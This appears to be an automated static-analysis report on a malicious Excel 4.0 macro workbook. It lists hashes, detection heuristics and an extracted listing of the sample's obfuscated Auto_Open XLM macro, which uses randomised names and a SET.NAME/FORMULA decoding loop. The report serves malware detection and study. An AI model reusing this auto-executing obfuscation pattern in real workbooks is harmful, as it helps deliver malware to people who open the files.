Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7355b82f1d96b7b1…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:17 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: bc22b4c8322afc3107be93b15003debf SHA-1: 43655adbda749006303d554e3de1fe679d5a717c SHA-256: 7355b82f1d96b7b11d04900898a126942672567164b33e52bb3ea160f93b702c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6642 bytes
SHA-256: ac2c596f849fc23a7f33dac6531b588d81af55b692b834cdf58fdb0ae09a6eb1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eUsgjaOEu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B184 
' 0018     26 LABEL : Cell Value, String Constant - coczBdQhUJL len=0 
' 0018     27 LABEL : Cell Value, String Constant - DPwThitFdBtj len=0 
' 0018     27 LABEL : Cell Value, String Constant - EalXFQbDOJQu len=0 
' 0018     20 LABEL : Cell Value, String Constant - fEnfD len=0 
' 0018     26 LABEL : Cell Value, String Constant - FsJaepTWRyO len=0 
' 0018     23 LABEL : Cell Value, String Constant - GBgYysqd len=0 
' 0018     22 LABEL : Cell Value, String Constant - gKHEPNy len=0 
' 0018     24 LABEL : Cell Value, String Constant - gNJvWVfsE len=0 
' 0018     23 LABEL : Cell Value, String Constant - hYFACSQR len=0 
' 0018     25 LABEL : Cell Value, String Constant - IveyTdMCUG len=0 
' 0018     23 LABEL : Cell Value, String Constant - Knarindu len=0 
' 0018     21 LABEL : Cell Value, String Constant - NZWTQe len=0 
' 0018     21 LABEL : Cell Value, String Constant - OCerCD len=0 
' 0018     22 LABEL : Cell Value, String Constant - PvlqjOj len=0 
' 0018     20 LABEL : Cell Value, String Constant - rJURm len=0 
' 0018     23 LABEL : Cell Value, String Constant - SHoVGltv len=0 
' 0018     27 LABEL : Cell Value, String Constant - TwPIJPMiBiCP len=0 
' 0018     23 LABEL : Cell Value, String Constant - UhdFSEFo len=0 
' 0018     27 LABEL : Cell Value, String Constant - USUOFgCJutQY len=0 
' 0018     21 LABEL : Cell Value, String Constant - XfYeot len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eUsgjaOEu,B88,"SET.NAME("XfYeot",VALUE("0"))",""
'  eUsgjaOEu,B91,"SET.NAME("OCerCD",XfYeot)",""
'  eUsgjaOEu,B96,"SET.NAME("EalXFQbDOJQu",XfYeot)",""
'  eUsgjaOEu,B101,"SET.NAME("TwPIJPMiBiCP",COUNTA(gNJvWVfsE))",""
'  eUsgjaOEu,B103,"SET.NAME("Knarindu",COUNTA(USUOFgCJutQY))",""
'  eUsgjaOEu,B106,[],""
'  eUsgjaOEu,B111,"SET.NAME("SHoVGltv","")",""
'  eUsgjaOEu,B113,"OCerCD",""
'  eUsgjaOEu,B115,"SET.NAME("DPwThitFdBtj",HLOOKUP("*",gNJvWVfsE,OCerCD,FALSE))",""
'  eUsgjaOEu,B118,"NZWTQe",""
'  eUsgjaOEu,B121,"SET.NAME("hYFACSQR",XfYeot)",""
'  eUsgjaOEu,B125,[],""
'  eUsgjaOEu,B130,"hYFACSQR",""
'  eUsgjaOEu,B135,"rJURm",""
'  eUsgjaOEu,B138,"GBgYysqd",""
'  eUsgjaOEu,B142,"gKHEPNy",""
'  eUsgjaOEu,B145,"SET.NAME("fEnfD",VALUE(HLOOKUP("*",USUOFgCJutQY,gKHEPNy,FALSE)))",""
'  eUsgjaOEu,B150,"UhdFSEFo",""
'  eUsgjaOEu,B154,"SHoVGltv",""
'  eUsgjaOEu,B157,"EalXFQbDOJQu",""
'  eUsgjaOEu,B159,NEXT(),""
'  eUsgjaOEu,B164,"coczBdQhUJL",""
'  eUsgjaOEu,B169,"SET.NAME("f",INT(T(FORMULA(T(SHoVGltv)&"",""&T(coczBdQhUJL)))))",""
'  eUsgjaOEu,B172,"FsJaepTWRyO",""
'  eUsgjaOEu,B177,NEXT(),""
'  eUsgjaOEu,B180,RETURN(),""
'  eUsgjaOEu,B212,"SET.NAME("PvlqjOj",B88)",""
'  eUsgjaOEu,B214,"gNJvWVfsE",""
'  eUsgjaOEu,B217,"SET.NAME("USUOFgCJutQY",R66C15)",""
'  eUsgjaOEu,B220,"SET.NAME("FsJaepTWRyO",229)",""
'  eUsgjaOEu,B224,"SET.NAME("IveyTdMCUG",2)",""
'  eUsgjaOEu,B228,PvlqjOj(),""
'  eUsgjaOEu,B229,HALT(),""

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